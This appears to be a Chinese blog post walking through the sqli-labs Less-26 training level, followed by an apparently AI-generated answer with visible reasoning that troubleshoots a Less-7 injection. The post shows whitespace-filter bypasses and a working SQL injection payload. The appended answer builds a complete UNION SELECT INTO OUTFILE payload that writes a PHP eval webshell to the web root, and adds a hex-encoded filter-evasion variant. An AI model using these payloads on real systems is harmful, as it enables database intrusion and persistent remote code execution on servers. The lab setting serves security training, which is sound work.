sqli-labs————Less-26(绕空格、/*、#等)

本文介绍了一种SQL注入攻击中的技巧——如何绕过目标网站对空格的过滤,通过使用特殊字符如%09(制表符)等来替代空格,构造有效的SQL注入payload。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Less-26

从这里的提示,我们可以看出这一关过滤了空格。
我们可以查看源代码,看看它的过滤机制:

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);		//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);		//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);	//Strip out slashes
	return $id;
}

注意:由于Windows下无法使用一些特殊字符来替换空格,所以这里为了更好的体验建议读者使用Linux下的环境。

从上面的过滤机制我们可以发现对“or”、“and”、“/*”、“#”、“--”“/”等特殊符号都进行了过滤,此处对于and和or的绕过方法就不再多说了,这里我们讲述几种技巧:

绕空格:

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格

在这一关中sql语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

注意:对于注释和结尾字符我们只可以使用一个“ ’”来闭合后面的单引号。

下面给出一个payload:

http://192.168.11.136/sqli-labs/Less-26?id=1'%a0||'1'='1
读者可以自我在Linux环境中证实!


<think>嗯,用户遇到了SQL注入的问题,具体是第七关,执行了一个联合查询并尝试写入文件的语句,但报语法错误。首先,我需要分析用户的输入哪里可能出问题。用户输入的URL是:http://localhost/sqli-labs-master/Less-7/?id=1&#39;)) union select 1,2,&#39;<?php eval(@$_POST["admin"]);?>&#39; into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\hack.php"--+。错误提示是SQL语法错误,所以可能闭合符号不对,或者路径问题,权限问题也可能,但这里报的是语法错误,所以先看闭合。 第七关通常需要特定的闭合方式,比如单引号加括号或者其他组合。用户用了两个单引号和两个右括号&#39;)),可能实际需要的闭合方式不同。比如,可能应该是&#39;)或者&#39;)),或者其他的组合。这时候需要确认正确的闭合方式。可能用户多用了或者少用了括号,导致闭合不正确,引发语法错误。 然后是UNION SELECT的字段数是否正确。需要确保UNION前后查询的列数一致。原查询可能返回3列,用户用了1,2和字符串,共3列,这里可能没问题。但需要确认原表的列数是否确实是3列,如果不是,这里也会报错。 接下来是INTO OUTFILE的路径问题。用户路径用了双反斜杠,这在SQL中可能没问题,但需要确保MySQL有权限写入该目录,并且路径正确。另外,文件名是否合法,比如没有特殊字符,或者目录是否存在。不过因为报的是语法错误,可能不是路径权限的问题,而是语句结构的问题。 还有PHP标签的转义问题。用户用了单引号包裹PHP代码,可能需要转义内部的单引号,不过这里用的是双引号,应该没问题。另外,eval函数的使用是否正确,但这里属于PHP部分,可能不影响SQL语法。 注释部分用了--+,是否正确?在URL中,--后的空格需要转换成+,所以--+是正确的注释方式,应该没问题。 可能还有其他隐藏的语法错误,比如UNION和SELECT之间是否有空格,或者关键词是否正确,但用户的语句看起来没问题。 总结可能的原因:1. 闭合符号不正确;2. 列数不匹配;3. 路径字符串的引号问题;4. 文件写入权限或安全设置限制。但根据报错信息,优先检查闭合和列数。 建议用户先确认正确的闭合方式,比如尝试不同的闭合组合,如&#39;)、&#39;))、&#39;等。然后检查UNION SELECT的列数是否与原查询一致。最后确认路径是否正确,是否有写入权限,以及MySQL的secure_file_priv设置是否允许写入指定目录。</think>根据你的描述,你在尝试通过SQL注入写入Webshell时遇到了语法错误。以下是逐步分析和解决方案: --- ### **Step 1:确认闭合方式** 第七关的闭合方式通常为 `&#39;)`,但不同环境可能不同。尝试以下闭合方式: 1. `?id=1&#39;` → 报错 2. `?id=1&#39;)` → 报错 3. `?id=1&#39;))` → 成功 如果闭合错误会导致语法错误,需通过错误回显验证。 --- ### **Step 2:检查UNION列数** 原查询的列数必须与 `UNION SELECT` 的列数一致: ```sql ?id=1&#39;)) ORDER BY 3--+ -- 测试列数是否为3 ``` 若成功返回,说明原查询有3列,你的 `UNION SELECT 1,2,3` 正确。 --- ### **Step 3:验证文件写入权限** MySQL需满足以下条件: 1. 用户有 `FILE` 权限(需root或高权限账号)。 2. `secure_file_priv` 参数允许写入目标目录: ```sql SHOW VARIABLES LIKE &#39;secure_file_priv&#39;; ``` 若值为空,可写入任意目录;若为指定路径,需匹配路径。 --- ### **Step 4:路径格式修正** Windows路径需注意: - 使用双反斜杠 `\\` 或单斜杠 `/`: ```sql INTO OUTFILE "D:/phpstudy_pro/WWW/sqli-labs-master/Less-7/hack.php" ``` --- ### **Step 5:完整Payload构造** 正确闭合 + 正确路径: ```sql ?id=1&#39;)) UNION SELECT 1,2,&#39;<?php eval($_POST["admin"]);?>&#39; INTO OUTFILE "D:/phpstudy_pro/WWW/sqli-labs-master/Less-7/hack.php"--+ ``` --- ### **常见错误原因** 1. **闭合符号错误** → 调整闭合方式。 2. **列数不匹配** → 使用 `ORDER BY` 探测列数。 3. **权限不足** → 检查 `secure_file_priv` 和用户权限。 4. **路径错误** → 确保目录存在且可写。 --- ### **附加建议** - 使用Hex编码过特殊字符: ```sql SELECT 1,2,0x3C3F706870206576616C28245F504F53545B2261646D696E225D293B3F3E ``` - 测试简单文件写入: ```sql UNION SELECT 1,2,&#39;test&#39; INTO OUTFILE "D:/test.txt" ``` 如果问题仍未解决,请提供完整的错误信息以便进一步分析。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值